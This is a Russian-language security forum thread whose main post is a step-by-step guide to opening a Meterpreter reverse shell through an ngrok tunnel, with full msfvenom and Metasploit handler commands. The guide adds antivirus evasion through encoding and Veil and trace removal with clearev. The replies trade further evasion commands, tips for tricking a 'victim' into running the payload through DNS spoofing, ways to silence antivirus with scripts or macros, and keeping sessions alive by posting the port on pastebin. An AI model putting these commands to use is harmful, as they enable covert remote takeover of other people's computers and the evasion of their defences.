• 🔥 Бесплатный курс от Академии Кодебай: «Анализ защищенности веб-приложений»

    🛡 Научитесь находить и использовать уязвимости веб-приложений.
    🧠 Изучите SQLi, XSS, CSRF, IDOR и другие типовые атаки на практике.
    🧪 Погрузитесь в реальные лаборатории и взломайте свой первый сайт!
    🚀 Подходит новичкам — никаких сложных предварительных знаний не требуется.

    Доступ открыт прямо сейчас Записаться бесплатно

Статья Metasploit + Ngrok: быстрый reverse shell без порт‑форвардинга (гайд 2025)

26924


Открыть обратную шелл-сессию через NAT за 3 минуты — без единого проброшенного порта. Реально? Да! Берём Metasploit + Ngrok и показываем, как именно…

Привет, codeby.net!

В этом гайде покажу, как за пару минут поднять reverse shell на Windows (или любой другой ОС) через тандем Metasploit + Ngrok — без открытия портов на роутере и лишней головной боли. Материал рассчитан и на новичков, и на тех, кто уже крутит пентест‑лабы каждый день.

⚖️ Дисклеймер

  • Все приёмы описаны только для легального аудита безопасности. Запускайте payload’ы только на собственных машинах или по письменному согласию владельца.
  • Нецелевое применение попадает под статьи 272 и 273 УК РФ (и аналогичные нормы других стран).
Ещё по теме: Metasploit: привилегии через токены (2025)

Что понадобится

  • Kali/Parrot/любая nix‑система (проверено на Kali 2024.4).
  • Metasploit Framework ≥ 6.4.
  • ngrok ≥ 3.4 (free plan годится, но туннель обрывается каждые 8 ч).
Поехали!

Шаг 0 — регистрация в ngrok

Переходим на сайт , регистрируемся и выполняем первые три пункта стартовой инструкции (скачиваем бинарь, кидаем токен).

24814

Шаг 1 — запускаем ngrok

Открываем терминал и пробиваем TCP‑туннель на нужный нам порт (в примере используем 4444): ./ngrok tcp 4444

24815

В ответ увидите строку вроде: tcp://0.tcp.ngrok.io:13286 → localhost:4444
Значит всё, что прилетит на 0.tcp.ngrok.io:13286, улетит к нам на 4444. Терминал не закрываем.

Шаг 2 — генерим payload

В новом окне создаём meterpreter[/I>‑экзешник с прописанными LHOST/LPORT из вывода выше:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=13286 -f exe -o payload.exe

24816
👉 Хотите Linux/Mac/Android payload? Смело меняйте платформу — главное оставить те же LHOST/LPORT.


Шаг 3 — готовим Metasploit‑listener

Код:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0           # слушаем на всех интерфейсах
set LPORT 4444
set ExitOnSession false     # чтобы не падал после первой сессии
set AutoRunScript migrate -f  # сразу уходим из процесса‑приманки
exploit -j -z
24817
Теперь Metasploit сидит на 4444 и ждёт коннекта.

Шаг 4 — (опционально) reverse_https + TLS

Антивирусы любят «голый» reverse_tcp. Если нужен тихий подход, замените payload:

    • Payload: windows/x64/meterpreter/reverse_https
    • Команда ngrok: ./ngrok tls 443 — получаем шифрованный канал через 443/TLS.

Шаг 5 — запускаем payload и принимаем сессию

Когда «жертва» запускает payload.exe, в консоли Metasploit увидите: Meterpreter session 1 opened …


24818

Ура, доступ есть — задача выполнена. ;)

Чистим хвосты

  • Закрываем туннель — просто CTRL+C в окне ngrok.
  • В Metasploit: sessions -i ; exit ; kill -9 $(pgrep ngrok)
  • Удаляем payload.exe с диска целевой системы либо используем в Meterpreter clearev и rm.

Траблшутинг

  • Handler failed to bind — порт занят; укажите другой LPORT как в ngrok, так и в handler.
    пример решения
  • Defender гасит exe — шифруем: -e x86/shikata_ga_nai -i 5 или используем Veil/Sliver.
  • Ngrok внезапно закрылся — бесплатный план, туннель живёт 8 ч. Ставим автоперезапуск или берём Pro‑тариф.
    см. обсуждение
  • LHOST=localhost не работает — слушайте на 0.0.0.0, иначе внешний трафик не дойдёт.

Полезные ссылки

  • — углублённое руководство.
  • — углублённое руководство.
  • — все варианты туннелей.
  • Veil‑Framework — генератор AV‑friendly payloads.

Вывод

Metasploit + Ngrok остаётся простейшим способом пробить NAT/Firewall и организовать управляемую Meterpreter‑сессию за считанные минуты. Следуйте правилам OPSEC, не забывайте про легальную сторону — и пусть ваши тесты будут этичными!
Удачных пентестов, codeby.net! ;)

А вы каким способом обходите NAT/EDR на боевых выездах? Делитесь лайфхаками, какие туннеллеры или C2 сейчас выигрывают гонку с Defender — Sliver, Cloudflared, Tailscale Funnel, frp, или что-то своё? Давайте соберём топ-методы 2025 прямо в ветке!
 
Последнее редактирование модератором:
Братцы помогите плз, неделю уже мучаюсь, пытаюсь запустить beef через ngrok но не выходит, вроде все норм но ссылки которые дал ngrok для панели бифа и отправки юзеру не работает, скажите, если юзать метасплоит или биф через ngrok, порты надо прокидывать или нет?
 
Хм
тут нужно подумать..
если честно сталкивался с данной проблемой
я вообще решал ее очень просто, для beef - покупал статический ip адрес у провайдера, он 50 руб в мес стоит
а насчет метасплоит фреймворка - там все проще, запускаешь ngrok на порту допустим 4444 по протоколу tcp и все
Bash:
./ngrok tcp 4444
и насчет портов - пробрасывать вроде как ничего не стоит, но если надо то можно в iptables настроить доступ по порту 4444, об этом инфы много в сети
 
Хм
тут нужно подумать..
если честно сталкивался с данной проблемой
я вообще решал ее очень просто, для beef - покупал статический ip адрес у провайдера, он 50 руб в мес стоит
а насчет метасплоит фреймворка - там все проще, запускаешь ngrok на порту допустим 4444 по протоколу tcp и все
Bash:
./ngrok tcp 4444
и насчет портов - пробрасывать вроде как ничего не стоит, но если надо то можно в iptables настроить доступ по порту 4444, об этом инфы много в сети
хм спс, то есть мне тогда для beef и ngrok по идее не нужен, если стат адрес у провайдера куплю, ну и плюс 3000 порт открыть к этому ip так? если можно стукни в телегу @Dzasin подскажешь за благодарочку на Qiwi кошелек)

Вот что выходит, запускал пейлоад на вин 10, сразу сработал защитник, я добавил в исключения, крч сессия открывается и сразу закрывается, подскажите плз годный гайд свежий, как сделать чтоб msf работал нормально, если надо купить vps или vpn не проблема, главное чтоб работало. Задолбали танцы с бубнами(.. Одни говорят что ngrok уже не работает, другие говорят что работает..
 

Вложения

  • screenshot.png
    screenshot.png
    285,9 КБ · Просмотры: 572
Вот что выходит, запускал пейлоад на вин 10, сразу сработал защитник, я добавил в исключения, крч сессия открывается и сразу закрывается, подскажите плз годный гайд свежий, как сделать чтоб msf работал нормально, если надо купить vps или vpn не проблема, главное чтоб работало. Задолбали танцы с бубнами(.. Одни говорят что ngrok уже не работает, другие говорят что работает..
Но тут дело не в ngrok, а в самой полезной нагрузке - она у тебя палится антивирусом.
Meterpreter снова в деле: 100% FUD with Metasploit 5
 
Да скорее всего
Смени полезную нагрузку
Попробуй на др поставить
Я не эксперт в msf но кажись можно через search поискать еще
 
попробовал на другом пк win7 никакими защитниками не замечен, но петрушка та же(( в процессах в диспетчере процесс весит как активный
 
попробовал на другом пк win7 никакими защитниками не замечен, но петрушка та же(( в процессах в диспетчере процесс весит как активный
попробуй вот так указать payload
msfvenom -a x64 --platform Windows -f exe -p windows/meterpreter/reverse_tcp LHOST=********* LPORT=****** -e x64/shikata_ga_nai -i 13 -b '\x00' > PISYA.exe
аргумент -е определяет способ шифрования для обхода антивируса, в данном случае мы используем 13 итераций полиморфного XOR кодирования shikata ga nai, а при помощи -b помечаем нулевой байт «плохим», то есть говорим, что его нужно избегать.
никакой фаервол и антивирус не поймет откуда прилетело
 
  • Нравится
Реакции: DarkDepth
попробуй вот так указать payload
msfvenom -a x64 --platform Windows -f exe -p windows/meterpreter/reverse_tcp LHOST=********* LPORT=****** -e x64/shikata_ga_nai -i 13 -b '\x00' > PISYA.exe
аргумент -е определяет способ шифрования для обхода антивируса, в данном случае мы используем 13 итераций полиморфного XOR кодирования shikata ga nai, а при помощи -b помечаем нулевой байт «плохим», то есть говорим, что его нужно избегать.
никакой фаервол и антивирус не поймет откуда прилетело
Ты тестил это с включенным антивирусом?
 
Захотелось попробовать на андроиде. Все сделал. Все вроде работает. На порт прилетает сессия метерпретера, и все... сам метерпретер не запускается... просто висит сессия и все. Хз стт это и как. Пробовал и reverse_http, и reverse_https, ни - ку - яя. PS https даже сессия не прилетает... что это может быть?!
 
Захотелось попробовать на андроиде. Все сделал. Все вроде работает. На порт прилетает сессия метерпретера, и все... сам метерпретер не запускается... просто висит сессия и все. Хз стт это и как. Пробовал и reverse_http, и reverse_https, ни - ку - яя. PS https даже сессия не прилетает... что это может быть?!
при работе ты пишешь exploit или exploit -j ?
Если второй вариант попробуй sessions -i 1 (Ну или номер сессии.)
Первый вариант, meterpreter запустился, но не работает то пробуй отправить сессию на фон, и запустить ещё раз sessions -i 1
 
при работе ты пишешь exploit или exploit -j ?
Если второй вариант попробуй sessions -i 1 (Ну или номер сессии.)
Первый вариант, meterpreter запустился, но не работает то пробуй отправить сессию на фон, и запустить ещё раз sessions -i 1
андроид устранил уязвимость, ни метерпретер, ни шелл, никакая нагрузка... причем буквально месяц назад работало все. вот 3 недельки назад была обнова. и после, решил попробовать - не работает.
но сработало на старом дроиде, с не свежей версией. столько ссылок перелапатил - все впустую! не запускается сессия хоть ты тресни. остается думать только на устранения уязвимости. так что можно считать не актуальным
 
  • Нравится
Реакции: DarkDepth
Привет codeby.net!

Сегодня я вам покажу как можно получить обратное подключение без прокидывание портов и лишнего геморроя.
Для реализации обратного подключения нам понадобиться metasploit и ngrok.

Metasploit - проект, посвящённый информационной безопасности. Создан для предоставления информации об уязвимостях, помощи в создании сигнатур для IDS, создания и тестирования эксплойтов.
Ngrok - это платформа, которая с помощью установленной утилиты, позволяет, организовать удалённый доступ на веб-сервер или какой-то другой сервис.

Для начало нам надо зарегистрировать аккаунт ngrok. Переходим на сайт , регистрируем аккаунт и выполняем первых три пункта.

Посмотреть вложение 24814
Подготовка выполнена, переходим к реализации задуманного.

Шаг 1 - Запускаем Ngrok
Запускаем ngrok: ./ngrok tcp 4444

Посмотреть вложение 24815
После запуска ngrok, вы увидете что то похожое на tcp://0.tcp.ngrok.io:13286 -> localhost:4444
Это означает что весь трафик который будет идти на 0.tcp.ngrok.io через порт 13286 будет перенаправляться к нам в машину на порт 4444. Не закрываем терминал и переходим к следующему шагу.

Шаг 2 - Создаем пользовательскую нагрузку
Запустим другой терминал и создадим пользовательскую нагрузку с вышеупомянутым хостом и портом.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=13286 -f exe > payload.exe

Посмотреть вложение 24816
В данном примере создается пользовательская нагрузка windows, но вам никто не запрещает создать payloads под любую другую ОС используя тот же LHOST и LPORT.

Шаг 3 - Запускаем metasploit listener
Когда все настроено нам остается запустить слушатель. Сделать это можно выполнив приведенные команды ниже.
Код:
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST localhost
set LPORT 4444
exploit
Посмотреть вложение 24817
После того как вы выполняете команду “exploit”, metasploit запустить слушатель на порт 4444 на вашей машине, который будет следить за любым входящим обратным TCP соединением.
На этом настройка закончена. После того когда на windows машине запуститься сгенерированная нами пользовательская нагрузка “payload.exe” в консоли мы увидим обратное подключение.

Посмотреть вложение 24818
Доступ к атакуемой машине получен а значит мы добились поставленной задачи ;) На этом пожалуй все, надеюсь данный материал был полезен :)
Но ведь порт всё время менятся будет
 
подскажите совсем зеленому, как запустить этот пейлоад на тарегт хосте?? это происходит автоматически или же "payload.exe" нужно подсунуть "жертве" что бы она сама запустила его на своем ПК?
теоретически можно воспользоваться статьёй про подмену днс в беттеркэпе и подсунуть фтп-сервер вместо sait.com или *org *net и т.д. Или тот же днс, но с сайтом, содержащим js-код. При получении сессии доступ спокойно закрепляется. А антивирусы можно заставить "помолчать" с помощью vbs-скриптов или макросов.
 
  • Нравится
Реакции: Pablo Garcia
Если кто в теме, скажите насколько сам сервис ngork устойчив к абузам?
 
В корне с этим не согласен. Все зависит от того как это реализовать. Вот один пример из большого количество который можно привести. Если делать payload с восстановление сессии то можно залить порт на pastebin и перед подключением проверять его там. Когда порт измениться меняешь порт на pastebin и все сново работает.

p.s Все ограничивается вашей фантазией ;) Не нужна воспринимать все шаги как строгую инструкцию. Суть статьи показать как можно открыть порт)
Пожалуйста можешь дать подробную статью об этом?
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab